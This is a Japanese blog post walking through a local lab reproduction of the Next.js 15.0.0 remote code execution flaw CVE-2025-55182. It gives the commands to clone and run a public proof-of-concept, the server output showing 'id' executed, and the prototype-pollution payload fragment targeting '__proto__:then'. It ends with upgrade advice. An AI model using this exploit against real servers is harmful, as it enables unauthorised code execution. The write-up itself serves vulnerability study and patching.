Next.js を利用するアプリケーションに対し、リモートコード実行(RCE)の危険性が指摘された CVE-2025-55182。本記事では、この脆弱性の検証環境の構築から Proof of Concept(PoC)を用いた攻撃実行までの手順を詳しく解説する。
本検証はあくまでローカル環境での安全な PoC 実行を目的としており、外部への攻撃目的の利用を禁止する。
検証環境の概要
| 項目 | 内容 |
|---|---|
| OS | Kali Linux |
| Node.js | v20.19.5 |
| Next.js | 15.0.0(脆弱性を含む) |
| 使用PoC | GitHub: msanft/CVE-2025-55182 |
Next.js アプリ作成
まずは脆弱性の影響を受けるとされる Next.js 15.0.0 を指定してアプリを生成。
npx create-next-app@15.0.0 myapp
対話形式の設定では以下のように選択:
| 設定項目 | 選択 |
|---|---|
| TypeScript | Yes |
| ESLint | Yes |
| Tailwind CSS | Yes |
| src/ ディレクトリ構成 | Yes |
| App Router | Yes |
| Turbopack | Yes |
| import alias | Yes |
依存関係のインストールが走り、以下の通り完了。
Success! Created myapp at /home/kali/test/react-test/myapp
ログに次の警告が表示された:
npm WARN deprecated next@15.0.0: This version has a security vulnerability.
See https://nextjs.org/blog/CVE-2025-66478 for more details.
→ セキュリティ脆弱性(CVE-2025-66478)が含まれていることを Next.js が警告
本検証の目的に合致。
cd myapp
npm install
npm run build
npm start
実行後、サーバは正常起動し次のURLで待受状態に:
Local: http://localhost:3000
ブラウザでアクセス確認する。

無事に実行できた。
PoC の実行
使用PoCは以下
公式 PoC を GitHub からクローンし、Kali Linux 上で展開。
git clone https://github.com/msanft/CVE-2025-55182.git
cd CVE-2025-55182
python3 poc.py http://localhost:3000/

実行結果(抜粋):
id
500 0:{"a":"$@1","f":"","b":"RffHu2cal6_ttW0tpnSlf"}
1:E{"digest":"uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...
id コマンドがサーバ側で実行され、その結果がクライアントへ返却されている
完全に任意コード実行(RCE)が成立
攻撃メカニズムの概要
promisの動き方を理解する必要がある。
例えば以下のようなコードがあるとき、
Promise.resolve(1)
.then(x => console.log(x)); // → 1Promise は 非同期処理の結果を表すオブジェクトであり、.then() を使って「成功時に何をするか」を登録できる。
またJavaScript では、すべてのオブジェクトは プロトタイプ を持つ。
プロトタイプは「共通のメソッドを持つ親オブジェクト」。
例えば以下のコード。
const obj = {};
console.log(obj.toString); // → Object.prototype.toString
オブジェクトを作るだけで .toString() が使えるのは
プロトタイプが継承されているから。
誰かが __proto__ を書き換えると
Object.prototype.hacked = "!!!";
const a = {};
console.log(a.hacked); // → "!!!"
新しく作られた 全ての オブジェクトに影響する。
今回の攻撃コードでは、以下の部分があることにより、送信した任意の実行コードを__proto__のthenとして解釈してしまう。
"then": "$1:__proto__:then"
これによりObject.prototype.then に攻撃コードが混入する。
Next.js は内部で「Promise ではないが then を持つオブジェクト」を
「Thenable = Promise として扱われる物」として解釈する箇所がある。
その結果obj.then() が実行され、ペイロードが実行されるという流れ。
脆弱性回避方法
Next.js公式が「15.0.0 は脆弱性あり」と明言しているため:
✔ バージョンアップが唯一の対策
バージョン修正情報:
- 出典:Next.js セキュリティアドバイザリ
https://nextjs.org/blog/CVE-2025-66478
検証結果まとめ
| 検証項目 | 結果 |
|---|---|
| RCE が成立するか? | 成立(PoC 成功) |
| サーバ内部情報の取得 | uid / gid / グループ一覧 |
| 利用環境依存要素 | Node.js 20 + Next.js 15.0.0 で再現 |
| 対策方法 | Next.js 更新のみ確認済 |
検証で使用したログ(抜粋)
┌──(kali㉿kali)-[~/test/react-test/CVE-2025-55182]
└─$ python3 poc.py http://localhost:3000/
id
500 0:{"a":"$@1","f":"","b":"RffHu2cal6_ttW0tpnSlf"}
1:E{"digest":"uid=1000(kali) gid=1000(kali) ..."}
さいごに
今回の検証で、
- Next.js 15.0.0 の脆弱性は実在する
- PoC により RCE が容易に成立する
- 環境への影響は非常に大きいと考えられる
という点が明確となった。
Webアプリ開発者・運用者は速やかにパッチ適用を検討すべき状況であり、特に Next.js を扱う案件ではバージョン管理が安全の最低ラインだといえる。





